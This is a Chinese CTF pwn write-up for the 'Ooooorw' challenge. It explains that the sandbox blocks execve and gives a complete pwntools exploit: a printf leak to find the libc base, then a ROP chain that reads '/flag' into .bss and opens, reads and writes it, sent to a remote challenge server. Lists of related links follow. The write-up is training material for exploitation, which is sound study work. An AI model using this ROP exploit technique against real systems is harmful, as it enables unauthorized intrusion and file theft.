例题:NPCCTF - Ooooorw

发现开启了沙箱,禁用了execve函数,所以只能利用open,read,write函数来进行输出flag

from pwn import *

file = './pwn'

libc = ELF('./libc.so.6')

i = 0

if i == 1:

    io = process(file)

else:

    io = remote('175.27.249.18',32438)

elf = ELF(file)

context.arch = 'amd64'

context.log_level = 'debug'

#gdb.attach(io)

#---------- EXP ----------

io.recvuntil(b'0x')

printf_addr = int(io.recv(12),16)

libcbase = printf_addr - libc.sym['printf']

pop_rdi = 0x2a3e5 + libcbase

pop_rsi = 0x2be51 + libcbase

pop_rdx_rbx = 0x904a9 + libcbase

open1 = libcbase + libc.symbols['open']

write1 = libcbase + libc.symbols['write']

puts = libcbase + libc.symbols['puts']

read1 = libcbase + libc.symbols['read']

syscall = libcbase + libc.symbols['syscall']

bss = 0x403500

payload = b'a'*0x58 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(read1)

payload += p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(syscall)

payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(read1)

payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x100) + p64(0) + p64(write1)

io.sendlineafter(b'Try to PWN.\n',payload)

io.sendline(b'/flag\x00')

io.interactive()

在payload部分,首先使用read将"/flag"写入到bss段,然后利用open打开这个文件,利用read读取问价内容并写入到bss段,最后利用write输出flag

【PWN】初识Orw的更多相关文章

  1. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  2. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  3. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  4. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

  5. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  6. [BUUCTF]PWN——pwnable_orw

    pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...

  7. 【pwn】DASCTF Sept 九月赛

    [pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...

  8. setcontext+orw

    setcontext+orw 大致可以把2.27,2.29做为两个分界点. 我们先来讨论 2.27 及以下的 setcontext + orw 的写法. 首先 setcontext 是什么?了解过 S ...

  9. pwn 之 沙箱机制

    0x00: 简介 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向.一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造 ...

  10. NCTF2022 - pwn 部分 wp

    总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家. ezlogin 程序设计周大作业稍加改编出的题目.洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替 ...

随机推荐

  1. FFmpeg开发笔记(六十三)FFmpeg使用vvenc把视频转为H.266编码

    ​前面的两篇文章分别介绍了如何在Linux环境和Windows环境给FFmpeg集成H.266的编码器vvenc,接下来利用ffmpeg把视频文件转换为VVC格式,观察新生成的vvc视频能否正常播放. ...

  2. hot100之堆

    虽然更多用的是桶 数组中的第k个最大元素(215) 桶排序 class Solution { public int findKthLargest(int[] nums, int k) { int[] ...

  3. 你知道CAE软件的配置要求吗?

    CAE软件是一类特殊的计算机软件,主要用于工程设计和分析.由于CAE软件的处理量非常大,因此对计算机的配置要求较高.在选择计算机配置时,需要考虑多个因素,包括CPU.GPU.内存和存储等. 首先,CP ...

  4. ET框架运行初次--Mac启动dll程序(资源服务器)

    Mac电脑不能直接运行ET携带的一些工具,比如文件服务器.于是必须手动写一个启动脚本 1:环境.必须按照.net core.终端运行 dotnet --version 2:写启动脚本. 在 ET-Br ...

  5. 深入研究使用DozerMapper复制List<Ojbect>前后元素类型不一致的问题

    背景 某项目某个功能点是接受前端传参,将其存入MongoDB.这个传参的核心数据是一个二维数组List<List<Object>>,可以放字符串.整型,也可以放null. 在测 ...

  6. 开源 vGPU 方案 HAMi 原理分析 Part1:hami-device-plugin-nvidia 实现

    本文为开源的 vGPU 方案 HAMi 实现原理分析第一篇,主要分析 hami-device-plugin-nvidia 实现原理. 之前在 开源 vGPU 方案:HAMi,实现细粒度 GPU 切分 ...

  7. Excel SUMPRODUCT函数用法(乘积求和,分组排序)

    SUMPRODUCT函数是Excel中功能比较强大的一个函数,可以实现sum,count等函数的功能,也可以实现一些基础函数无法直接实现的功能,常用来进行分类汇总,分组排序等 SUMPRODUCT 函 ...

  8. cgal 安装

    简介 INSTALL.md里面的文字 感觉cgal只需要头文件?? 似乎是的,因为我好像也没有安装它 安装可以参考这个连接,比较详细,windows 里面的安装 https://www.bilibil ...

  9. Arm Pro脱壳简单教程

    背景 之前写了一个超星学习通接口逆向的文章,应网友要求分享下使用Arm Pro脱壳,虽然挺简单的,但还是写下吧. 脱壳步骤 打开Arm Pro,点击右下角按钮选择APP 选第二个,一键云脱壳Pro 顺 ...

  10. SciTech-Mathematics-Probability+Statistics- Pandas DataFrame Histogram/BarChart/Boxplot/Scatterplot + Relative Frequency Histogram: Definition + Example()

    Links: How to Plot Multiple Series from a Pandas DataFrame How to Make a Scatterplot From a Pandas D ...